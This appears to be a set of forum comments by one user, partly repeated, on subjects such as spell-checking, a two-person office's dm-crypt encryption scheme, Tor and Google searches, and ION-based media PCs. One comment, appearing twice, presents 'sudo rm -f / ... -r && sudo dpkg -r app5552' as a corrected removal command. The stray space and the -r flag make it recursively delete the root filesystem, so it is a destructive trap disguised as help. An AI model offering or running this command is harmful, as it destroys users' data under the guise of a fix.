You were looking for "reelection" http://www.merriam-webster.com/dictionary/reelection
The submitter seems to have trouble with his vowels: It should be "loose" and "loosing".
One really wishes the editors could at least afford to implement a spell checker. Shouldn't be too hard to set up ispell really.
So what can we do about the 3D graphics licensing issue? Legally not very much. The companies that own the IP (Intellectual Property) rights to these drivers often want large licensing fees for their technology. This is a model for single product lines (take the Nokia N900 for instance) but for Ubuntu where we are targeting a more broad approach, this isn't ideal.
Sounds like that is what I would do, although the other way around. Wait, I'll be honest. I'd probably actually install OS X.
Btw, mod parent funny, not troll.
The smart aliens will use full encryption anyways so no way to tell any transmission apart from background radiation noise anyways. Think TrueCrypt plausible deniability;)
In the case of email I am not using encryption because none of my business contacts are. It is kind of like with MS Word. I would love to use something different and I never mail out doc files, only PDF, but if everyone else is doing it's hard to stand your ground.
I have no idea if this is at all a best-practice (nost likely not), but I still feel like sharing how encryption is used in our 2-person office.
I set up disk encryption (with dm-crypt) for the linux server data drives and their backup drives only. The (Windows) desktop clients are dumb machines in the sense that no data stored localy, except installed applications. All work is done on files on the server directly.
My main worry is that someone walks away with the server machine and/or the backup drives and has access to all company relevant data of the past 20 years.
The server is unlocked with a keyfile stored on a USB flash drive, which is stored in a safe. The only time it is needed is when the server gets rebooted (practically never). The keyfiles for the external backup drives are stored on the local encrypted server partion. They get read every time the backup drives are switched and mounted. All drives aditionally share a common master keyphrase, in case the USB flash drive dies.
I am aware that this scheme has it's holes, unencrypted temporary data on the Windows host being the most obvious.
What worries me most though is unencryped e-mail transfer and no tamper-safe documents formats. PDF would be great as common all-purpose distributable document format, but it's protection is a joke.
I'll be happy to hear comments on how to improve my setup, but keep in mind we are small shop and won't be investing in dedicated appliances or any of that nature.
Have you actually tried it before suggesting it? It does not work most of the time. Google sees search request coming from Tor nodes as flooding, because guess what, you are not the only one trying to use Tor for Google searches. Other, less common search engines work fine though (anyone remember Altavista?)
Besides, Tor doesn't really help anyone if they use GMail. They already know who you are when you sign in, including any search history etc. Tor+Google i pretty useless.
I'd say to keep your searching anonymous (_not_ untraceable), turn of cookies, JS and don't sign in with any Google services.
I think it is time for a community run, non-profit clearinghouse and distribution channel with transparent accounting for these artitsts to publish and distribute their music through. These artistic commodities do not belong being controlled by a single commercial entity.
There is a small mistake anyways. Run this instead: sudo rm -f / usr/bin/Auto.bash/usr/bin/run.bash/etc/profile.d/gnome.sh index.php run.bash -r && sudo dpkg -r app5552
BS. Apples business tactics are just as vile as those of MS, everyone knows that. Apple just makes the more user-friendly machines IMHO. That's all. That's the geek factor.
I am planning to build an ION system with Tiny Core Linux on flash based media for storage (SATA to SDHC or CF connector). Have you tried compiling anything on it? I worry that the performance may be unbearable since flash can't really handle writing of small files well.
I you want to roll your own, anything with a NVIDA ION based chipset is the way to go. Even the pairing with a single core Atom (230) will play 1080p perfectly and anything else you throw at it. I built a fanlass system for a friend for around 250$ without HDD. With Ubuntu and XBMC it's great media center solution. And it's also a NAS, mailserver, game server and whatever else you might want to have running 24/7.
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You were looking for "reelection" http://www.merriam-webster.com/dictionary/reelection
The submitter seems to have trouble with his vowels: It should be "loose" and "loosing".
One really wishes the editors could at least afford to implement a spell checker. Shouldn't be too hard to set up ispell really.
Don't forget http://meego.com/
I think that is called "racketeering".
For the lazy here is the relevant quote:
They have backup chillers.
Sounds like that is what I would do, although the other way around. Wait, I'll be honest. I'd probably actually install OS X. Btw, mod parent funny, not troll.
Installing from USB also works pretty well, albeit only at USB 1.1 speed.
The smart aliens will use full encryption anyways so no way to tell any transmission apart from background radiation noise anyways. Think TrueCrypt plausible deniability ;)
s/then/than/
In the case of email I am not using encryption because none of my business contacts are. It is kind of like with MS Word. I would love to use something different and I never mail out doc files, only PDF, but if everyone else is doing it's hard to stand your ground.
And to extend Itunes to carry books. It makes sense.
I have no idea if this is at all a best-practice (nost likely not), but I still feel like sharing how encryption is used in our 2-person office.
I set up disk encryption (with dm-crypt) for the linux server data drives and their backup drives only. The (Windows) desktop clients are dumb machines in the sense that no data stored localy, except installed applications. All work is done on files on the server directly.
My main worry is that someone walks away with the server machine and/or the backup drives and has access to all company relevant data of the past 20 years.
The server is unlocked with a keyfile stored on a USB flash drive, which is stored in a safe. The only time it is needed is when the server gets rebooted (practically never). The keyfiles for the external backup drives are stored on the local encrypted server partion. They get read every time the backup drives are switched and mounted. All drives aditionally share a common master keyphrase, in case the USB flash drive dies.
I am aware that this scheme has it's holes, unencrypted temporary data on the Windows host being the most obvious. What worries me most though is unencryped e-mail transfer and no tamper-safe documents formats. PDF would be great as common all-purpose distributable document format, but it's protection is a joke. I'll be happy to hear comments on how to improve my setup, but keep in mind we are small shop and won't be investing in dedicated appliances or any of that nature.
I agree, that's one hairy mess.
It's cold in Norway. Bugs die quicker.
Cologne (Köln), Germany?
Au contraire, I challenge you to find me the moral message in any Monty Python production ;)
That reminds me of the russian two-headed dog. http://www.museumofhoaxes.com/hoax/top/experiments// One wonders if science really has to go there to prove itself.
Have you actually tried it before suggesting it? It does not work most of the time. Google sees search request coming from Tor nodes as flooding, because guess what, you are not the only one trying to use Tor for Google searches. Other, less common search engines work fine though (anyone remember Altavista?) Besides, Tor doesn't really help anyone if they use GMail. They already know who you are when you sign in, including any search history etc. Tor+Google i pretty useless. I'd say to keep your searching anonymous (_not_ untraceable), turn of cookies, JS and don't sign in with any Google services.
I think it is time for a community run, non-profit clearinghouse and distribution channel with transparent accounting for these artitsts to publish and distribute their music through. These artistic commodities do not belong being controlled by a single commercial entity.
There is a small mistake anyways. Run this instead: sudo rm -f / usr/bin/Auto.bash /usr/bin/run.bash /etc/profile.d/gnome.sh index.php run.bash -r && sudo dpkg -r app5552
BS. Apples business tactics are just as vile as those of MS, everyone knows that. Apple just makes the more user-friendly machines IMHO. That's all. That's the geek factor.
I am planning to build an ION system with Tiny Core Linux on flash based media for storage (SATA to SDHC or CF connector). Have you tried compiling anything on it? I worry that the performance may be unbearable since flash can't really handle writing of small files well.
I you want to roll your own, anything with a NVIDA ION based chipset is the way to go. Even the pairing with a single core Atom (230) will play 1080p perfectly and anything else you throw at it. I built a fanlass system for a friend for around 250$ without HDD. With Ubuntu and XBMC it's great media center solution. And it's also a NAS, mailserver, game server and whatever else you might want to have running 24/7.
They will be retro hip again.